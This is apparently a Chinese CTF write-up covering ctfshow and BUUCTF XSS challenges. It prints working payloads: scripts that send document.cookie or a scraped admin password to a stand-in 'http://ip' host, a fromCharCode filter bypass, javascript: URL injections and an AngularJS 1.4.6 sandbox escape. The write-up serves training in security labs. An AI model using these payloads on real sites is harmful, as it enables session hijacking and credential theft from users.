something-about-XSS-Challenges

ctfshow混合型XSS

image-20260104171728360

注册个用户,有个签名的功能,管理员会审核,拿cookie

1
2
3
<script>
fetch('http://ip/?cookie=' + encodeURIComponent(document.cookie));
</script>

拿不到估计是开了http only,防止读取cookie!题目提示:获取管理员密码

image-20260104172448180

登录之后账密全在网页源码里面,直接X就完了

1
2
3
4
5
6
7
8
9
<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', '/profile', true);
xhr.onload = function() {
var pass = this.responseText.match(/id="upass".*?>(.*?)<\/div>/)[1];
fetch('http://ip/?p=' + btoa(pass));
};
xhr.send();
</script>

image-20260104173307039

base64解码之后就是flag

ctfshow编码绕过XSS过滤

自己fuzz出来过滤了script和/,那么首先是上一个payload的标签就不能用来(大小写没绕过),用img标签

1
<img src=xss onerror=alert('ljf666')>

在onerror写入我们的js代码,只不过/这个没了,我们可以编码一下。参考:XSS绕过技巧大全从空格编码到JS伪协议-开发者社区-阿里云

这里写了个脚本转化成ascii

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def string_to_ascii(text):
# 使用 ord() 获取每个字符的 ASCII 值,并转为字符串
ascii_values = [str(ord(char)) for char in text]

# 用逗号连接
result = ",".join(ascii_values)
return result


# 交互输入
if __name__ == "__main__":
payload = input("请输入要转换的代码: ")
print("\n转换后的 ASCII 序列为:")
print(string_to_ascii(payload))
1
var xhr = new XMLHttpRequest();xhr.open('GET', '/profile', true);xhr.onload = function(){var pass = this.responseText.match(/id="upass".*?>(.*?)<\/div>/)[1];fetch('http://ip/?p=' + btoa(pass));};xhr.send();//这部分的ascii码填入payload就好了

payload:

1
<img src="x" onerror="eval(String.fromCharCode())">

BUUCTF[第二章 web进阶]XSS闯关

level1

最简单的alert弹窗

level2

不行了,查看源码看js的处理逻辑

1
2
3
4
5
6
7
<script type="text/javascript">
if(location.search == ""){
location.search = "?username=xss"
}
var username = 'xss';
document.getElementById('ccc').innerHTML= "Welcome " + escape(username);
</script>

这个escape对<>()进行了url编码然后绕过不了,于是看它之前的东西var username = 'xss';这里本身就是在script标签之内,那么我们直接逃逸不就完事了XD!

1
?username=';alert(1);'

level3

我的思路:这个第一个引号被转义了,看js,发现没escape函数了,那直接script标签去打,但是这里并不行。

当你使用 document.getElementById('ccc').innerHTML = "..." 插入代码时,现代浏览器(遵循 HTML5 标准)会采取以下逻辑:

  • 安全拦截:浏览器会解析并渲染里面的 HTML 标签,但如果发现里面有 <script> 标签,它会将其标记为“不可执行”。
  • 原因:这是为了防止最基本的 XSS 攻击。如果通过脚本动态添加的脚本都能跑,那网页安全性就太脆弱了。

所以script标签用不来,于是用img就行

1
<img src=x onerror=alert(1)>

更骚的思路:注意到只转义了第一个’,那么我们用第二个’来闭合不就完事了XD,太骚了这个思路,这告诉我们争对一个现象要多去想想它意味着什么,我们能做什么。

1
?username='';alert(1);'

level4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<script type="text/javascript">
var time = 10;
var jumpUrl;
if(getQueryVariable('jumpUrl') == false){
jumpUrl = location.href;
}else{
jumpUrl = getQueryVariable('jumpUrl');
}
setTimeout(jump,1000,time);
function jump(time){
if(time == 0){
location.href = jumpUrl;
}else{
time = time - 1 ;
document.getElementById('ccc').innerHTML= `页面${time}秒后将会重定向到${escape(jumpUrl)}`;
setTimeout(jump,1000,time);
}
}
function getQueryVariable(variable)
{
var query = window.location.search.substring(1);
var vars = query.split("&");
for (var i=0;i<vars.length;i++) {
var pair = vars[i].split("=");
if(pair[0] == variable){return pair[1];}
}
return(false);
}
</script>

先分析js,js不是很会,看了好一会

1
2
3
4
5
if(getQueryVariable('jumpUrl') == false){
jumpUrl = location.href;
}else{
jumpUrl = getQueryVariable('jumpUrl');
}

这里主要是set不同情况下的jumpUrl的返回值,后面就是两个函数,我也都看了一边,理论上代码审计绝对不是我这样看的,主要是这里代码不是特别多!

首先关注document.getElementById(‘ccc’).innerHTML= 页面${time}秒后将会重定向到${escape(jumpUrl)};这里time显然不可控,但是jumpUrl,如果进入if显然不是我们想要的,这里我其实就在想这个地方如果可控,应该是可以用JavaScript伪协议的,所以跟进getQueryVariable

1
2
3
4
5
6
7
8
9
10
function getQueryVariable(variable)
{
var query = window.location.search.substring(1);
var vars = query.split("&");
for (var i=0;i<vars.length;i++) {
var pair = vars[i].split("=");
if(pair[0] == variable){return pair[1];}
}
return(false);
}

这里先将查询参数按&分割成数组vars,然后对于每个vars里面的元素按照=分割成数组pair,接着如果满足要求就返回查询参数的值,这里我们直接

1
http://ff866b2d-5ccf-4a19-ab82-5a4df21498b3.node5.buuoj.cn:81/level4?jumpUrl=javascript:alert(1)

这题主要是审计一下js,加利用JavaScript伪协议

level5

分析js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<script type="text/javascript">
if(getQueryVariable('autosubmit') !== false){
var autoForm = document.getElementById('autoForm');
autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action');
autoForm.submit();
}else{

}
function getQueryVariable(variable)
{
var query = window.location.search.substring(1);
var vars = query.split("&");
for (var i=0;i<vars.length;i++) {
var pair = vars[i].split("=");
if(pair[0] == variable){return pair[1];}
}
return(false);
}
</script>

容易知道action的地址可以被控制

1
http://7a4463a3-73f0-44f2-80ff-346d1962e771.node5.buuoj.cn:81/level5?autosubmit=1&action=javascript:alert(1)

level6

AngularJS框架,AngularJS v1.4.6的沙箱逃逸

参考:AngularJS客户端模板注入(XSS)|NOSEC安全讯息平台 - 白帽汇安全研究院

AngularJS Sandbox Bypasses-先知社区

1
http://7a4463a3-73f0-44f2-80ff-346d1962e771.node5.buuoj.cn:81/level6?username={{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

打完了就是flag

buu xss course 1

image-20260109151915405

一个吐槽的东西,没有register页面,直接打xss吧用的是img标签,但是buu靶机这个东西不出网,所以你用公网IP是不行的,不过我倒是发现了一个xss不错的平台(https://xssjs.com/)

那么buu争对这个是有一个内网隧道的搭建

1
<img src=x onerror="fetch('//ip?c='+escape(document.cookie))">

本地python起个web服务

1
python -m http.server 80

image-20260109152845851

拿到管理员cookie,去后台地址/backend/admin.php,更改一下cookie即可获得flag